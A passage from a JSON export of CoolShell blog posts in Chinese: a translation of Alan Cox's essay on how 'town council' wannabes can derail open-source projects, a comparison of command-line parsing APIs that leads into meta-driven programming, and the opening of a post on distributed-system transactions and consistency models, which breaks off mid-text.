    "content": "<html><body><p><strong>（感谢网友 </strong><a href=\"http://weibo.com/fullofbull\" target=\"_blank\"><strong>@我的上铺叫路遥</strong></a><strong> 投稿）</strong></p>\n<p>在网上搜到的Cox大叔于1998年在开源社区写的一篇文章，当时很轰动，明眼人一看就知道是针对ESR那篇《大教堂与市集》，从中可见Alan在项目管理风格上乃至个人性格上都与ESR、Linus等人不同之处。顺便说一句，Alan现在出于“家庭原因”已经离开了Linux项目，他曾经评价Linus是<a href=\"http://apolyton.net/showthread.php/130212-Linus-Torvalds-is-a-terrible-engineer-Alan-Cox\" target=\"_blank\">a good developer but a terrible engineer</a>，甚至在Google+上直接说Linus就是一a*sh**e。不管如何，两位曾经十余年里并肩战斗惺惺相惜的大牛就此分道扬镳还是惹人唏嘘。</p>\n<p>言归正传，以下为slashdot收录的英文原文：<a href=\"http://news.slashdot.org/story/98/10/13/1423253/featurecathedrals-bazaars-and-the-town-council\" target=\"_blank\">Cathedrals, Bazaars and the Town Council</a>。</p>\n<p>以下是一些我对市集模式的想法，我认为这值得分享，这种模式会教你如何完全毁掉一个自由软件项目。我还举了一个我称之为“市议会”(Town Council)效应的实例（虽然那些市议员们可不这么认为，注：此处指Linux项目开发者）。</p>\n<p>关于软件开发人员，你必须去了解一些情况。首先要了解的是真正优秀的程序员相对来说并不普遍，不仅如此，在很多其它专业领域里“真正的程序员”和一些捣乱的家伙之间的区别要比“伟大”和“普通”之间的区别要大得多，研究表明生产效率上最好的同其余的比重是30:1。</p>\n<p>其次，你需要了解的是一大堆妄想型码农(wannabe programmer)总是善于发表意见。其中很多人患上了一种叫做“流行性热词”(buzzword)疾病，或者对他们“非黑即白”(one true path)的思考方式有着特殊的偏执，网上很多讨论都是廉价的。</p>\n<p><span id=\"more-9917\"></span></p>\n<p>第三个关于软件项目的事情就是我们所谓的“闲杂人员”(the masses)。他们不是编程人员，而在其它方面有着大量贡献——文档编辑、用户支持，以及对那类经常争论你应该获得许可证才能上网的人的说服工作。</p>\n<p>我想以Linux 8086（注，Intel设计的16位处理器架构）为例来说明如何将整个工程全部搞砸。将Linux的一个子集移植到8086上大体是这世上最无聊的活动之一。整件事的发起就像个笑话并走向失控。</p>\n<p>只有极少数真正的程序员会将时间及其良好的精神状态（或许那是假的）花费在那些唯一价值在于“黑客精神”(Hack Value)的项目上，故而在任何时候那种项目也就两三个核心贡献人员而已。</p>\n<p>不幸的是大批人认为将Linux运行在8086上是干净的，为此义不容辞地想要“入伙”。这类人大多属于妄想型码农之流，以至于连闲杂人员在一个安全距离之外都会沾染上这个项目的“愚蠢”因子。</p>\n<p>问题的导火索在于一大批充满（大多善意的）危险的一知半解的人们的意识观念——不是代码，而是意识观念。他们似乎很懂得如何去编程，但很多人连“Hello World”这样的C程序都不会。他们花了几星期时间去争论并投票该使用什么编译器，甚至在项目开展一年后还在争论是否去写个充分完美的编译器。他们热衷于辩论如何生成大量二进制文件，却又对内核swapper（注，即idle task）设计一无所知。</p>\n<p>Linux 8086项目仍然进行着，真正的开发人员将邮件列表里许多其他成员加入到清除文件(kill files)中，以便他们之间可以顺畅地通过邮件列表沟通，只因半吊子打酱油的家伙实在太多了。这一切不再是市集模式，而是形成了一个核心小组，对圈子里许多人而言这是一种礼貌用语。在这种情形下人们不可避免地处于被动位置。</p>\n<p>像Linux这种基于用户/程序员的项目成长缓慢，虽然它是靠着一群贡献代码的人得以成长起来，但这些人的背景要么是从原始的Minix（注，一种微内核操作系统）黑客社区起家，要么通过艰难的方式不断从头学起。随着项目增长，人们本应该形成一个“Linux内核结构规划管理委员会”，而不是掉入将人们招来唤去，不将失败视为问题的怪圈，用Linus的话来说就是“给我看源码”。</p>\n<p>如果有人陷入困境，他可以发帖询问，在这之前包括现在很大程度上都基于人们正常地拥有时间并具备知识来回复他。在Linux 8086的案例中，开发人员很长一段时间身陷囹圄。假使主动活跃的程序员对只有潜在用处的妄想型码农的比例更高一点的话，我们就可以将一些杂音转化成生产力。项目也就获得更多有用的程序员，他们可以轮流向他人传授经验，任何学习活动都会让你变得更好，哪怕只有一些少量实习生。</p>\n<p>一些人会认为你无法将那些“次要程序员”(lesser programmer)训练成真正的程序员。就Linux项目的个人经验而言，很多人员只要获得一丁点儿的帮助和自信鼓励都将成为世界上最好的开发人员之一。只要帮助和鼓励足够多，很多人就能成功。</p>\n<p>Linux 8086总算大部分从“侵扰”中恢复过来，可至今仍是个不起眼的小项目。你可以从CVS目录树上下载这个由Alistair Riddich领导的项目，他做了很多优秀的工作。随着市议员的撤出，人们可以询问、参与并改善这个项目。</p>\n<p>我们从这个项目，还有其它相同命运的早期Linux 16位处理器项目（有的已死）中很清楚地学到以下几点教训。</p>\n<ul>\n<li>从项目一开始就发布源代码。哪怕不是很有用也无关紧要，将市议会排序分类的最好方式就是发布源代码并告知人们。Linux、KDE以及GNOME都遵循这种方式并获益良多。你可以花一辈子时间去争论怎样写代码才是正确的。只要代码公布，人们（不管水平怎样）都会把玩它。</li>\n</ul>\n<ul>\n<li>要欣赏那些给一点帮助就会对项目做出巨大贡献的人。如果他们最初的补丁有错误，不要盛气凌人，向其解释问题出在哪里并给出解决方案的建议，或者可以查询解决方法的地方。解答真正的问题，帮助别人，你所花费的一分一秒都会成十倍地回报在项目上，对社会也会带来无法估量的好处。[注]</li>\n</ul>\n<ul>\n<li>不要忘记那些非开发人员。我难过地发现许多人问起“前5名最重要的内核成员”时却极少涉及在所有人中最重要的一些——他们负责维护网站，更新日志和邮件列表，还有编辑文档，这些都是同等重要。<br/>\nLinus那句“给我看源代码”对真正的项目来说是个狭隘的视角。当你听到人们说“我很想帮忙，可我不会编程”，那么他可以从事文档编写。当人们说“但英语不是我的第一语言”，这时你需要的是一位文档编辑或另一门语言翻译者。</li>\n</ul>\n<ul>\n<li>尝试将有用的人从杂音中分离出来，将有意愿帮忙的人从一大堆无聊评论中分离出来是很难的。在Linux 8086项目中我的确错误地放弃了这一目标，如何将那些只会空谈而又无所事事的人弄走是一门学问。</li>\n</ul>\n<p>下次碰到人们在项目上投票，或者问题讨论了一个月才实现这类情况，给予他们警告。这样才能使人正确地解决问题。在你看来如果一些稀奇古怪的事务不顾一切地运行着，要求他们给你发个补丁，只要能够生效的话。</p>\n<p>小心地说“我们应该怎样”之类的话，对“我该如何做”这样的人伸出援手。</p>\n<p>Alan</p>\n<p>[注]这段话举个例子说明一下。Linux IPv6源码作者以前在葡萄牙上网聊天，只会简单讨论和问一些基本问题。我们助其弄明白一些内核原理之后，他写了大约75%的IPv6协议栈代码，他最近受聘于美国思科公司。</p>\n<p>附录一：一篇针对本文的<a href=\"http://tech.groups.yahoo.com/group/java-os-project/message/2358?var=1&amp;p=1\" target=\"_blank\">吐槽贴</a></p>\n<p>附录二：2009年Cox回复Torvalds的<a href=\"https://lkml.org/lkml/2009/7/28/375\" target=\"_blank\">邮件</a>，事情起因是Cox的一个tty patch导致<a href=\"https://lkml.org/lkml/2009/7/11/125\" target=\"_blank\">kdesu(KDE project’s su utility)</a>程序无法工作，该问题争论长达两个星期，此后Alan离开了Linux项目投奔Intel。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9859.html\"><img alt=\"Alan Cox：单向链表中prev指针的妙用\" height=\"150\" src=\"../wp-content/uploads/2013/06/Alan-Cox-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9859.html\">Alan Cox：单向链表中prev指针的妙用</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8990.html\"><img alt=\"Linus：利用二级指针删除单向链表\" height=\"150\" src=\"../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8990.html\">Linus：利用二级指针删除单向链表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2322.html\"><img alt=\"Unix传奇(上篇)\" height=\"150\" src=\"../wp-content/uploads/2010/04/o_unixrichiethompson-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2322.html\">Unix传奇(上篇)</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1278.html\"><img alt=\"Linus Torvalds 语录 Top 10\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1278.html\">Linus Torvalds 语录 Top 10</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/9917.html\">Alan Cox：大教堂、市集与市议会</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2013-8-9 数据即代码：元驱动编程.html",
    "content": "<html><body><p><strong>（感谢 <a href=\"http://weibo.com/weidagang\" target=\"_blank\">@文艺复兴记</a>（todd） 投递此文）</strong></p>\n<p>几个小伙伴在考虑下面这个各个语言都会遇到的问题：</p>\n<p><strong>问题：设计一个命令行参数解析API</strong></p>\n<p>一个好的命令行参数解析库一般涉及到这几个常见的方面：</p>\n<p>1) 支持方便地生成帮助信息</p>\n<p>2) 支持子命令，比如：git包含了push, pull, commit等多种子命令</p>\n<p>3) 支持单字符选项、多字符选项、标志选项、参数选项等多种选项和位置参数</p>\n<p>4) 支持选项默认值，比如：–port选项若未指定认为5037</p>\n<p>5) 支持使用模式，比如：tar命令的-c和-x是互斥选项，属于不同的使用模式</p>\n<p>经过一番考察，小伙伴们发现了这个几个有代表性的API设计：</p>\n<p><strong>1. getopt()：</strong></p>\n<p><a href=\"http://www.gnu.org/software/libc/manual/html_node/Getopt.html\">getopt()</a>是libc的标准函数，很多语言中都能找到它的移植版本。</p>\n<p><span id=\"more-10337\"></span></p>\n<pre class=\"EnlighterJSRAW\">\n//C\nwhile ((c = getopt(argc, argv, \"ac:d:\")) != -1) {\n    int this_option_optind = optind ? optind : 1;\n    switch (c) {\n    case 'a':\n        printf (\"option a\");\n        aopt = 1;\n        break;\n    case 'c':\n        printf (\"option c with value '%s'\", optarg);\n        copt = optarg;\n        break;\n    case 'd':\n        printf (\"option d with value '%s'\", optarg);\n        dopt = optarg;\n        break;\n    case '?':\n        break;\n    default:\n        printf (\"?? getopt returned character code 0%o ??\", c);\n    }\n}\n</pre>\n<p>getopt()的核心是一个类似printf的格式字符串的命令行参数描述串，如上面的”ac:d:”定义了”a”, “c”，”d”3个命令行参数，其中，a是一个标志符不需要参数，”c”和”d”需要跟参数。getopt()功能非常弱，只支持单个字符的标志选项和参数选项。如果按上面的5点来比对，基本上只能说是勉强支持第3点，其他几项只能靠程序自己来实现了，所以，想直接基于getopt()实现一个像git这样复杂的命令行参数是不可能的，只有自己来做很多的解析工作。小伙伴们看过getopt()之后一致的评价是:图样图森破。</p>\n<p><strong>2. Google gflags</strong></p>\n<p>接着，小伙伴们又发现了<a href=\"https://code.google.com/p/gflags/\">gflags</a>这个Google出品C++命令行参数解析库。</p>\n<pre class=\"EnlighterJSRAW\">\n//C++\nDEFINE_bool(memory_pool, false, \"If use memory pool\");\nDEFINE_bool(daemon, true, \"If started as daemon\");\nDEFINE_string(module_id, \"\", \"Server module id\");\nDEFINE_int32(http_port, 80, \"HTTP listen port\");\nDEFINE_int32(https_port, 443, \"HTTPS listen port\");\n\nint main(int argc, char** argv) {\n    ::google::ParseCommandLineFlags(&amp;argc, &amp;argv, true);\n\n    printf(\"Server module id: %s\", FLAGS_module_id.c_str());\n\n    if (FLAGS_daemon) {\n      printf(\"Run as daemon: %d\", FLAGS_daemon);\n    }\n    if (FLAGS_memory_pool) {\n      printf(\"Use memory pool: %d\", FLAGS_daemon);\n    }\n\n    Server server;\n\n    return 0;\n}\n</pre>\n<p>小伙伴们看了后不由得感叹“真心好用啊”！的确，gflags简单地通过几个宏就定义了命令行选项，基本上很好的支持了上面提到的1，3，4这几项，比起getopt()来强多了。对于类似cp这样的小命令，gflags应该是够用了，但要达到git这种级别就显得有些单薄了。</p>\n<p><strong>3. Ruby Commander</strong></p>\n<p>接下来小伙伴们又发现了Ruby Commander库：</p>\n<pre class=\"EnlighterJSRAW\">\n//Ruby\n# :name is optional, otherwise uses the basename of this executable\nprogram :name, 'Foo Bar'\nprogram :version, '1.0.0'\nprogram :description, 'Stupid command that prints foo or bar.'\ncommand :bar do |c|\n  c.syntax = 'foobar bar [options]'\n  c.description = 'Display bar with optional prefix and suffix'\n  c.option '--prefix STRING', String, 'Adds a prefix to bar'\n  c.option '--suffix STRING', String, 'Adds a suffix to bar'\n  c.action do |args, options|\n    options.default :prefix =&gt; '(', :suffix =&gt; ')'\n    say \"#{options.prefix}bar#{options.suffix}\"\n  end\nend\n$ foobar bar\n# =&gt; (bar)\n$ foobar bar --suffix '}' --prefix '{'\n# =&gt; {bar}\n</pre>\n<p>Commander库利用Ruby酷炫的语法定义了一种描述命令行参数的内部DSL，看起来相当高端大气上档次。除了上面的第5项之外，其他几项都有很好的支持，可以说Commander库的设计基本达到了git这种级别命令行参数解析的要求。只是，要搞懂Ruby这么炫的语法和这个库的使用方法恐怕就不如getopt()和gflags容易了。有小伙伴当场表示想要学习Ruby，但是也有小伙伴表示再看看其他库再说。</p>\n<p><strong>4. Lisp cmdline库</strong></p>\n<p>接下来，小伙伴们发现了Lisp方言Racket的<a href=\"http://docs.racket-lang.org/reference/Command-Line_Parsing.html\">cmdline库</a>。</p>\n<pre class=\"EnlighterJSRAW\">\n//Lisp\n(parse-command-line \"compile\" (current-command-line-arguments)\n  `((once-each\n     [(\"-v\" \"--verbose\")\n      ,(lambda (flag) (verbose-mode #t))\n      (\"Compile with verbose messages\")]\n     [(\"-p\" \"--profile\")\n      ,(lambda (flag) (profiling-on #t))\n      (\"Compile with profiling\")])\n    (once-any\n     [(\"-o\" \"--optimize-1\")\n      ,(lambda (flag) (optimize-level 1))\n      (\"Compile with optimization level 1\")]\n     [(\"--optimize-2\")\n      ,(lambda (flag) (optimize-level 2))\n      ((\"Compile with optimization level 2,\"\n        \"which implies all optimizations of level 1\"))])\n    (multi\n     [(\"-l\" \"--link-flags\")\n      ,(lambda (flag lf) (link-flags (cons lf (link-flags))))\n      (\"Add a flag &lt;lf&gt; for the linker\" \"lf\")]))\n   (lambda (flag-accum file) file)\n   '(\"filename\"))\n</pre>\n<p>这是神马浮云啊?括号套括号，看起来很厉害的样子，但又不是很明白。看到这样的设计，有的小伙伴连评价都懒得评价了，但也有的小伙伴对Lisp越发崇拜，表示Lisp就是所谓的终极语言了，没有哪门语言能写出这么不明觉历的代码来！小伙伴们正准备打完收工，突然…</p>\n<p><strong>5. Node.js的LineParser库</strong></p>\n<p>发现了Node.js的<a href=\"https://github.com/weidagang/line-parser-js\">LineParser库</a>:</p>\n<p>[javascript]<br/>\n//JavaScript<br/>\nvar meta = {<br/>\n    program : ‘adb’,<br/>\n    name : ‘Android Debug Bridge’,<br/>\n    version : ‘1.0.3’,<br/>\n    subcommands : [ ‘connect’, ‘disconnect’, ‘install’ ],<br/>\n    options : {<br/>\n        flags : [<br/>\n            [ ‘h’, ‘help’, ‘print program usage’ ],<br/>\n            [ ‘r’, ‘reinstall’, ‘reinstall package’ ],<br/>\n            [ ‘l’, ‘localhost’, ‘localhost’ ]<br/>\n        ],<br/>\n        parameters : [<br/>\n            [ null, ‘host’, ‘adb server hostname or IP address’, null ],<br/>\n            [ ‘p’, ‘port’, ‘adb server port’, 5037 ]<br/>\n        ]<br/>\n    },<br/>\n    usages : [<br/>\n        [ ‘connect’, [‘host’, ‘[port]’], null, ‘connect to adb server’, adb_connect ],<br/>\n        [ ‘connect’, [ ‘l’ ], null, ‘connect to the local adb server’, adb_connect ],<br/>\n        [ ‘disconnect’, null, null, ‘disconnect from adb server’, adb_disconnect ],<br/>\n        [ ‘install’, [‘r’], [‘package’], ‘install package’, adb_install ],<br/>\n        [ null, [‘h’], null, ‘help’, adb_help ],<br/>\n    ]<br/>\n};</p>\n<p>try {<br/>\n    var lineparser = require(‘lineparser’);<br/>\n    var parser = lineparser.init(meta);<br/>\n    // adb_install will be invoked<br/>\n    parser.parse([‘install’, ‘-r’, ‘/pkgs/bird.apk’]);<br/>\n}<br/>\ncatch (e) {<br/>\n    console.error(e);<br/>\n}<br/>\n[/javascript]</p>\n<p>天啊！？这是什么？我和小伙伴们彻底惊呆了！短短十几行代码就获得了上面5点的全面支持，重要的是小伙伴们居然一下子就看懂了，没有任何的遮遮掩掩和故弄玄虚。本来以为Ruby和Lisp很酷，小伙伴们都想马上去学Ruby和Lisp了，看到这个代码之后怎么感觉前面全是在装呢？有个小伙伴居然激动得哭着表示：我写代码多年，以为再也没有什么代码可以让我感动，没想到这段代码如此精妙，我不由得要赞叹了，实在是太漂亮了！</p>\n<p>小伙伴们的故事讲完了，您看懂了吗？如果没有看懂的话，正题开始了：</p>\n<p>在绝大多数语言中数据和代码可以说是泾渭分明，习惯C++、Java等主流语言的程序员很少去思考数据和代码之间的关系。与多数语言不同的是Lisp以“数据即代码，代码即数据”著称，Lisp用S表达式统一了数据和代码的形式而独树一帜。Lisp奇怪的S表达式和复杂的宏系统让许多人都感到Lisp很神秘，而多数Lisp教程要么强调函数式编程，要么鼓吹宏如何强大，反而掩盖了Lisp真正本质的东西，为此我曾写过一篇<a href=\"http://www.cnblogs.com/weidagang2046/archive/2012/06/03/tao_of_lisp.html\">《Lisp的永恒之道》</a>介绍Lisp思想。</p>\n<p>设计思想和具体技术的区别在于前者往往可以在不同的环境中以不同的形式展现出来。比如，熟悉函数式编程的程序员在理解了纯函数的优点后即使是用C语言也会更倾向于写出无副作用的函数来，这就是函数式思想在命令式环境的应用。所以，理解Lisp思想一定要能在非Lisp环境应用，才算是融汇贯通。</p>\n<p>如果真正理解了Lisp的本质，那所谓的“数据即代码，代码即数据”一点儿也不神秘，这不就是我们每天打交道的配置文件吗！？如果你还不是很理解的话，我们通过下面几个问题慢慢分析：</p>\n<p>1) 配置的本质是什么？为什么要在程序中使用配置文件？</p>\n<p>不知道你是否意识到了，我们每天都在使用的各种各样的<strong>配置本质上是一种元数据也是一种DSL</strong>，这和Lisp基于S表达式的“数据即代码，代码即数据”没有本质区别。在C++、Java等程序中引入配置文件的目的正是用DSL弥补通用语言表达能力和灵活性的不足。我知道不少人喜欢从计算的角度来看到程序和语言，似乎只有图灵完备的语言如C++、Java、Python等才叫程序设计语言，而类似CSS和HTML这样的东西根本不能叫做程序设计语言。其实，在我看来这种观点过于狭隘，<strong>程序的本质是语义的表达</strong>，而语义表达不一定要是计算。</p>\n<p>2) 配置是数据还是代码？</p>\n<p>很明显，Both!说配置是数据，因为它是声明式的描述，能方便地修改和传输；说配置是代码，因为它在表达逻辑，你的程序实际上就是配置的解释器。</p>\n<p>3) 配置的格式是什么？</p>\n<p>配置的格式是任意的，可以自己定义语法，只要配以相应的解释器就行。不过更简单通用的做法是基于XML、JSON、或S表达式等标准结构，在此之上进一步定义schema。甚至完全不必是文件，在我们的项目中配置经常是放到用关系数据库中的。另外，下面我们还会看到用语言的Literal数据作为配置。</p>\n<p>4) 业务逻辑都可以放到配置中吗？</p>\n<p>这个问题的答案显然是：Yes！我没有遇到过不可以放入配置的逻辑，只是问题在于这样做是否值得，能达到什么效果。对于需要灵活变化，重复出现，有复用价值的东西放入作为配置是明智的选择。这篇文章的主要目的就在于介绍把<strong>主要业务逻辑都放到配置中，再通过程序解释执行配置的设计方法，我称之为：元驱动编程(Meta Driven Programming)</strong>。</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5202.html\"><img alt=\"对象的消息模型\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5202.html\">对象的消息模型</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1839.html\"><img alt=\"编程语言汽车\" height=\"150\" src=\"../wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1839.html\">编程语言汽车</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10739.html\"><img alt=\"Lua简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/12/lua-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10739.html\">Lua简明教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10169.html\"><img alt=\"类型的本质和函数式实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10169.html\">类型的本质和函数式实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5709.html\"><img alt=\"API设计：用流畅接口构造内部DSL\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5709.html\">API设计：用流畅接口构造内部DSL</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/10337.html\">数据即代码：元驱动编程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2014-1-20 分布式系统的事务处理.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-full wp-image-10946\" height=\"200\" src=\"../wp-content/uploads/2014/01/trade-off.jpg\" width=\"251\"/>当我们在生产线上用一台服务器来提供数据服务的时候，我会遇到如下的两个问题：</p>\n<p style=\"padding-left: 30px;\">1）一台服务器的性能不足以提供足够的能力服务于所有的网络请求。</p>\n<p style=\"padding-left: 30px;\">2）我们总是害怕我们的这台服务器停机，造成服务不可用或是数据丢失。</p>\n<p>于是我们不得不对我们的服务器进行扩展，加入更多的机器来分担性能上的问题，以及来解决单点故障问题。 通常，我们会通过两种手段来扩展我们的数据服务：</p>\n<p style=\"padding-left: 30px;\">1）<strong>数据分区</strong>：就是把数据分块放在不同的服务器上（如：uid % 16，一致性哈希等）。</p>\n<p style=\"padding-left: 30px;\">2）<strong>数据镜像</strong>：让所有的服务器都有相同的数据，提供相当的服务。</p>\n<p>对于第一种情况，我们无法解决数据丢失的问题，单台服务器出问题时，会有部分数据丢失。所以，<strong>数据服务的高可用性只能通过第二种方法来完成——数据的冗余存储</strong>（一般工业界认为比较安全的备份数应该是3份，如：Hadoop和Dynamo）<strong>。 但是，加入更多的机器，会让我们的数据服务变得很复杂，尤其是跨服务器的事务处理，也就是跨服务器的数据一致性</strong>。这个是一个很难的问题。 让我们用最经典的Use Case：“A帐号向B帐号汇钱”来说明一下，熟悉RDBMS事务的都知道从帐号A到帐号B需要6个操作：</p>\n<ol>\n<li>从A帐号中把余额读出来。</li>\n<li>对A帐号做减法操作。</li>\n<li>把结果写回A帐号中。</li>\n<li>从B帐号中把余额读出来。</li>\n<li>对B帐号做加法操作。</li>\n<li>把结果写回B帐号中。</li>\n</ol>\n<p>为了数据的一致性，这6件事，要么都成功做完，要么都不成功，而且这个操作的过程中，对A、B帐号的其它访问必需锁死，所谓锁死就是要排除其它的读写操作，不然会有脏数据的问题，这就是事务。那么，我们在加入了更多的机器后，这个事情会变得复杂起来：</p>\n<p><span id=\"more-10910\"></span></p>\n<p style=\"padding-left: 30px;\">1）<strong>在数据分区的方案中</strong>：如果A帐号和B帐号的数据不在同一台服务器上怎么办？我们需要一个跨机器的事务处理。也就是说，如果A的扣钱成功了，但B的加钱不成功，我们还要把A的操作给回滚回去。这在跨机器的情况下，就变得比较复杂了。</p>\n<p style=\"padding-left: 30px;\">2）<strong>在数据镜像的方案中</strong>：A帐号和B帐号间的汇款是可以在一台机器上完成的，但是别忘了我们有多台机器存在A帐号和B帐号的副本。如果对A帐号的汇钱有两个并发操作（要汇给B和C），这两个操作发生在不同的两台服务器上怎么办？也就是说，在数据镜像中，在不同的服务器上对同一个数据的写操作怎么保证其一致性，保证数据不冲突？</p>\n<p>同时，我们还要考虑性能的因素，如果不考虑性能的话，事务得到保证并不困难，系统慢一点就行了。除了考虑性能外，我们还要考虑可用性，也就是说，一台机器没了，数据不丢失，服务可由别的机器继续提供。 于是，我们需要重点考虑下面的这么几个情况：</p>\n<p style=\"padding-left: 30px;\">1）<strong>容灾</strong>：数据不丢、结点的Failover</p>\n<p style=\"padding-left: 30px;\">2）<strong>数据的一致性</strong>：事务处理</p>\n<p style=\"padding-left: 30px;\">3）<strong>性能：吞吐量 、 响应时间</strong></p>\n<p>前面说过，要解决数据不丢，只能通过数据冗余的方法，就算是数据分区，每个区也需要进行数据冗余处理。这就是数据副本：当出现某个节点的数据丢失时可以从副本读到，数据副本是分布式系统解决数据丢失异常的唯一手段。所以，在这篇文章中，简单起见，我们只讨论在数据冗余情况下考虑数据的一致性和性能的问题。简单说来：</p>\n<p style=\"padding-left: 30px;\"><strong>1）要想让数据有高可用性，就得写多份数据。</strong></p>\n<p style=\"padding-left: 30px;\"><strong>2）写多份的问题会导致数据一致性的问题。</strong></p>\n<p style=\"padding-left: 30px;\"><strong>3）数据一致性的问题又会引发性能问题</strong></p>\n<p>这就是软件开发，按下了葫芦起了瓢。</p>\n<h4>一致性模型</h4>\n<p>说起数据一致性来说，简单说有三种类型（当然，如果细分的话，还有很多一致性模型，如：顺序一致性，FIFO一致性，会话一致性，单读一致性，单写一致性，但为了本文的简单易读，我只说下面三种）：</p>\n<p style=\"padding-left: 30px;\">1）<strong>Weak 弱一致性</strong>：当你写入一个新值后，读操作在数据副本上可能读出来，也可能读不出来。比如：某些cache系统，网络游戏其它玩家的数据和你没什么关系，VOIP这样的系统，或是百度搜索引擎（呵呵）。</p>\n<p style=\"padding-left: 30px;\">2）<strong>Eventually 最终一致性</strong>：当你写入一个新值后，有可能读不出来，但在某个时间窗口之后保证最终能读出来。比如：DNS，电子邮件、Amazon S3，Google搜索引擎这样的系统。</p>\n<p style=\"padding-left: 30px;\">3）<strong>Strong 强一致性</strong>：新的数据一旦写入，在任意副本任意时刻都能读到新值。比如：文件系统，RDBMS，Azure Table都是强一致性的。</p>\n<p>从这三种一致型的模型上来说，我们可以看到，Weak和Eventually一般来说是异步冗余的，而Strong一般来说是同步冗余的，异步的通常意味着更好的性能，但也意味着更复杂的状态控制。同步意味着简单，但也意味着性能下降。 好，让我们由浅入深，一步一步地来看有哪些技术：</p>\n<h4>Master-Slave</h4>\n<p>首先是Master-Slave结构，对于这种加构，Slave一般是Master的备份。在这样的系统中，一般是如下设计的：</p>\n<p style=\"padding-left: 30px;\">1）读写请求都由Master负责。</p>\n<p style=\"padding-left: 